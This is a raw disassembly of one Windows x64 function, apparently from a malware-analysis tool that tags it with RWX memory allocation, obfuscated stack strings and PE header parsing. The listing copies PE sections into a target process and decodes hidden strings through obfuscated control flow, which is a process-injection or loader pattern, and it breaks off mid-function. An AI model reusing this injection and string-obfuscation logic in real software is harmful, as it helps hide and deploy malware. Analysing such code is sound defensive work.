Function at 0x1401c1720
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10a0]
mov eax, 0x11a0
call fcn.14038d7d0
sub rsp, rax
mov r14, rcx
mov r12d, r8d
mov rcx, qword [rcx + 0x68]
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r10, qword [r14 + 0x20]
mov r13d, eax
mov rdx, qword [r14]
mov rcx, qword [r14 + 8]
mov r8d, dword [r10 + 0x3c]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [r14 + 0x18]
mov rax, qword [r14 + 0x28]
movzx ebx, word [rdx + 0x14]
add rbx, rdx
xor edx, edx
mov edi, edx
cmp word [rax + 2], dx
je 0x1401c17c0
add rbx, 0x2c
mov eax, dword [rbx - 4]
test eax, eax
je 0x1401c17ac
mov edx, dword [rbx]
mov r8d, eax
mov ecx, dword [rbx - 8]
add rdx, qword [r14]
add rcx, qword [r14 + 8]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [r14 + 0x28]
inc edi
add rbx, 0x28
movzx ecx, word [rax + 2]
cmp edi, ecx
jne 0x1401c1791
xor edx, edx
movzx r11d, byte [rbp + 0x10e0]
xor eax, eax
mov qword [rsp + 0x6d], rax
movabs rsi, 0xb0a0657d7aa7ff86
mov word [rsp + 0x75], ax
mov dword [rsp + 0x60], 0x1040803
mov dword [rsp + 0x64], 0x41411d15
mov dword [rsp + 0x68], 0x17161146
mov byte [rsp + 0x6c], 0x78
nop dword [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rdi, rdx
movabs rcx, 0x69ef41c905d73cee
cmp rdi, 0x17
jae 0x1401c234a
movzx ebx, byte [rsp + rdi + 0x60]
mov r10d, ebx
nop
cmp r8, rdi
ja 0x1401c2341
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401c185f
add rcx, rdi
movzx eax, r10b
and al, cl
mov r11d, 0x3f
sub r11b, al
add r11b, r11b
add r11b, bl
add r11b, cl
jmp 0x1401c1890
je 0x1401c22bf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c223d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c21e8
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401c21a4
nop dword [rax]
cmp r9, rdi
ja 0x1401c2338
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1401c18bf
lea rdx, [rdi + rsi]
mov ecx, 0x2b
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c1900
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401c2195
inc rax
cmp r8, rax
je 0x1401c2171
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401c2153
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c2135
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c2117
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401c1e1e
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1401c1dfc
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c1dd5
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1401c1db1
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1401c1d8e
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1401c1d70
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401c1d52
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401c1d34
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1401c1d08
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401c1910
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1401c2316
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1401c22f4
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1401c1ae6
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1401c1ac8
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1401c1aaa
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401c1cb6
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401c1c6b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1401c1c29
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401c1c03
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1401c1910
lea r8, [r9 + 8]
lea r9, [r8 + 0xa]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1401c1bdc
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1401c1bbf
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1401c1ba2
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1401c1b89
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1401c1b70
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1401c1b4f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1401c1b30
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1401c1b0e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1401c1910
lea r8, [r9 + 0x80]
lea r9, [r8 + 0xa]
jmp 0x1401c1910
lea edx, [rdi + 0x3a]
mov ecx, getservbyname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c1900
lea edx, [rdi + 0x5e]
mov ecx, reloc.WS2_32.dll_getservbyname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c1890
mov ecx, 0x39
lea edx, [rdi - 0x7e]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
movabs rcx, 0x69ef41c905d73cee
add r11b, dl
add r11b, bl
jmp 0x1401c1830
lea ecx, [rdi + 0x54]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
inc rdi
jmp 0x1401c1813
lea ecx, [rdi + 0x78]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
inc rdi
jmp 0x1401c1813
lea edx, [rdi - 0x64]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
movzx r10d, dil
sub r11b, al
sub r11b, 0x44
add r11b, dl
jmp 0x1401c2206
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x1401c2221
lea ecx, [rdi - 0x1c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3c
jmp 0x1401c2224
lea edx, [rdi + 8]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1401c225f
lea edx, [rdi + 0x2c]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x1401c2283
lea ecx, [rdi + 0x50]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc rdi
jmp 0x1401c1813
lea edx, [rdi - 0x56]
mov ecx, 0x2d
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rsp + rdi + 0x60], r11b
inc rdi
jmp 0x1401c1813
lea edx, [rdi - 0x32]
mov ecx, gethostbyaddr
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x40
jb 0x1401c1c1c
mov ecx, 0x1a
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x2c]
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1401c21c2
lea edx, [rdi - 0xe]
mov ecx, gethostbyaddr
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x40
jae 0x1401c20d9
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x1401c1ffe
lea edx, [rdi + 0x3c]
mov ecx, 0x2e
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c1c42
lea edx, [rdi + 0x16]
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 4
je 0x1401c20fc
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1401c1f3c
lea edx, [rdi - 0x4a]
mov ecx, 3
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c1c84
lea edx, [rdi + 0x24]
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c1813
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c2283
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c2224
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c2221
mov ecx, reloc.WS2_32.dll_inet_ntoa
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x28]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c2206
lea edx, [rdi - 4]
mov ecx, recvfrom
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c1813
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c1813
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c21c2
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1401c1e45
lea edx, [rdi - 0x12]
mov ecx, 0x3f
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c1ccf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c1e75
lea ecx, [rdi + 0xc]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x54
inc rdi
jmp 0x1401c1813
inc rax
cmp r8, rax
jne 0x1401c1e9a
lea edx, [rdi - 0x18]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x1401c2283
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c1ec0
lea edx, [rdi - 0x3c]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x1401c225f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c1ee2
lea ecx, [rdi + 0x7c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
jmp 0x1401c2221
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c1f0d
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x58]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x1401c2206
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c1ccf
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x14]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x74
add r11b, dl
jmp 0x1401c21c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c1f68
mov ecx, 1
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x6e]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c21c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c1f90
lea ecx, [rdi + 0x4a]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
inc rdi
jmp 0x1401c1813
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c1fb2
lea ecx, [rdi + 2]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xe
jmp 0x1401c2221
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c1fd4
lea ecx, [rdi - 0x22]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
jmp 0x1401c2224
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c1c84
lea edx, [rdi - 0x6a]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x1a
add r11b, dl
jmp 0x1401c2283
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c2033
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, 0x2c
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c1813
inc rax
cmp r8, rax
jne 0x1401c2059
lea edx, [rdi - 0xc]
mov ecx, 0x2a
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c2283
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c2080
lea edx, [rdi - 0x30]
mov ecx, 0x28
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c225f
cmp r8, rcx
jne 0x1401c20a9
lea edx, [rdi + 0x40]
mov ecx, 0x20
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c1813
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c1c42
mov ecx, 0x1c
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 8]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c21c2
movzx ecx, byte [rsp + rdi + 0x60]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x50]
and al, dl
sub cl, al
add cl, 0x18
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401c2206
lea edx, [rdi - 0x74]
mov ecx, reloc.WS2_32.dll_shutdown
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401c225f
lea edx, [rdi + 0x66]
mov ecx, 0x1b
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c2283
lea edx, [rdi - 0x76]
mov ecx, 0x1d
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c225f
lea edx, [rdi - 0x52]
mov ecx, 0x1f
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c2224
lea edx, [rdi + 0x1a]
mov ecx, 0x25
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1401c1813
movzx r10d, dil
mov ecx, 0x29
lea edx, [r10 + 0x62]
jmp 0x1401c21b1
movzx r10d, dil
mov ecx, 0x2d
lea edx, [r10 - 0x56]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, bl
sub r10b, 0x3e
and al, r10b
add al, al
sub bl, al
sub bl, 0x4e
add bl, r10b
mov byte [rsp + rdi + 0x60], bl
inc r9
dec rdi
inc rdi
jmp 0x1401c1813
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx r10d, dil
lea edx, [r10 + 0x16]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, bl
sub r10b, 0x62
and al, r10b
add al, al
sub bl, al
sub bl, 0x52
add bl, r10b
add bl, r11b
mov byte [rsp + rdi + 0x60], bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401c1813
mov eax, 0x39
movabs rcx, 0xe58acc7f28e2aa82
add rcx, rdi
and r10b, cl
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
lea edx, [rdi + 0x7a]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x56
add cl, dl
movzx eax, cl
mov byte [rsp + rdi + 0x60], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
inc r8
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rsp + rdi + 0x60], cl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c1813
mov eax, 0x3d
movabs rcx, 0x3dcdc55b1185b6ca
add rcx, rdi
and r10b, cl
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c1813
sub dil, 0x5a
mov ecx, 0x3b
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
xor edx, edx
jmp 0x1401c180e
sub dil, 0x36
mov ecx, 0x3d
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
xor edx, edx
jmp 0x1401c17fb
lea rdx, [rbp + 0x15cef48]
jmp 0x1401c234f
lea rdx, [rbp + 0xf42c36]
jmp 0x1401c234f
lea rdx, [rsp + 0x60]
mov rcx, qword [r14 + 0x68]
call fcn.1401c0de0
movzx r10d, byte [rbp + 0x10e0]
xor edx, edx
mov rsi, rax
mov qword [rbp - 0x50], rdx
xor eax, eax
mov dword [rsp + 0x77], 0xafaba442
mov qword [rbp - 0x7c], rax
mov word [rbp - 0x74], ax
mov dword [rsp + 0x7b], 0xa1aea646
mov dword [rsp + 0x7f], 0x54aba3b1
mov byte [rbp - 0x7d], 0x2a
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rdi, rdx
movabs rax, 0x22d679d7374b6429
cmp rdi, 0x17
jae 0x1401c2faa
movzx r11d, byte [rsp + rdi + 0x77]
mov rdx, r11
cmp r8, rdi
ja 0x1401c2fa1
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1401c23ed
lea rcx, [rdi + rax]
movzx r10d, dl
movzx eax, dl
and al, cl
add al, al
sub r10b, al
sub r10b, 0x1f
add r10b, cl
jmp 0x1401c2434
je 0x1401c2f29
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c2ea3
lea rax, [rcx + 1]
cmp r8, rax
je 0x1401c2e6c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401c2e52
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401c2e17
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c2dd6
cmp r9, rdi
ja 0x1401c2f98
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1401c2462
lea r10d, [rdi + 0x5d]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x75
add r10b, r11b
jmp 0x1401c24a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401c2dbb
inc rax
cmp r8, rax
je 0x1401c2d9b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c2d82
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c2d68
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401c2a09
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401c29eb
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401c29c3
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401c299e
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1401c2980
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1401c2963
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401c2944
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1401c2925
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401c290b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c28e3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401c24b0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x42]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401c2f79
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401c2f5a
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1401c2693
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1401c2677
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1401c265b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1401c289c
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1401c2851
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1401c280e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1401c27eb
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1401c24b0
lea r8, [r9 + 0x80]
lea r9, [r8 + 6]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1401c27c2
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401c27a3
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1401c2784
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1401c2769
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1401c274b
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1401c2728
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1401c2702
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1401c26db
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1401c26b9
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1401c24b0
lea r8, [r9 + 9]
lea r9, [r8 + 0x41]
jmp 0x1401c24b0
lea r10d, [rdi + 0x43]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x2b
add r10b, r11b
jmp 0x1401c24a0
lea r10d, [rdi - 0xf]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x69
add r10b, r11b
jmp 0x1401c2434
lea r10d, [rdi - 0x61]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movabs rax, 0x22d679d7374b6429
sub r10b, 0x59
add r10b, r11b
jmp 0x1401c23bd
lea ecx, [rdi - 0x18]
movzx eax, r11b
and al, cl
movzx r10d, r11b
add al, al
movzx ebx, dil
sub r10b, al
sub r10b, 0x58
add r10b, cl
jmp 0x1401c2def
lea ecx, [rdi - 0x6a]
movzx eax, r11b
and al, cl
movzx r10d, r11b
add al, al
inc r9
sub r10b, al
dec rdi
sub r10b, 0x1a
add r10b, cl
inc rdi
jmp 0x1401c23a3
lea ecx, [rdi + 0x44]
movzx eax, r11b
and al, cl
mov r10d, reloc.WS2_32.dll_select
sub r10b, al
dec rdi
add r10b, r10b
add r10b, r11b
add r10b, cl
inc rdi
jmp 0x1401c23a3
lea edx, [rdi - 0xe]
mov ecx, gethostbyaddr
movzx eax, r11b
movzx ebx, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1401c2e30
lea ecx, [rdi - 0x60]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
add r8, r9
jmp 0x1401c2e8a
lea ecx, [rdi + 0x4e]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
jmp 0x1401c2e8a
lea edx, [rdi - 4]
mov ecx, recvfrom
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1401c2ec6
lea edx, [rdi - 0x56]
mov ecx, 0x2d
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1401c2eec
lea ecx, [rdi + 0x58]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rsp + rdi + 0x77]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
sub r10b, 0x68
inc rdi
jmp 0x1401c23a3
lea ecx, [rdi - 0x75]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x33
mov byte [rsp + rdi + 0x77], r10b
inc rdi
jmp 0x1401c23a3
lea edx, [rdi + 0x39]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x71
add r10b, dl
cmp r9, 9
jb 0x1401c2801
mov ecx, reloc.WS2_32.dll_send
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx + 0x56]
and al, dl
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1401c2def
lea ecx, [rdi - 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
cmp r8, 0x80
jae 0x1401c2d29
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1401c2c42
lea edx, [rdi + 0x22]
mov ecx, 9
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401c2827
lea ecx, [rdi - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
lea rax, [r9 + r8]
cmp rax, 9
je 0x1401c2d4c
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1401c2b05
lea ecx, [rdi - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
jmp 0x1401c2866
lea ecx, [rdi + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x77]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x42
inc rdi
jmp 0x1401c23a3
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x1401c2eec
lea edx, [rdi - 0x76]
mov ecx, 0x1d
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401c2ec6
lea edx, [rdi + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401c2e8a
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
add r8, r9
jmp 0x1401c2e8a
movzx ebx, dil
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1401c2e30
lea edx, [rdi + 0x42]
mov ecx, 0x19
movzx eax, dl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1401c23a3
lea edx, [rdi - 0x10]
mov ecx, reloc.WS2_32.dll_getservbyport
movzx eax, dl
inc r9
and al, r11b
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1401c23a3
movzx ebx, dil
lea ecx, [rbx - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
jmp 0x1401c2def
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1401c2a2c
lea ecx, [rdi + 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
jmp 0x1401c28b1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c2a5d
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x77]
add rax, r9
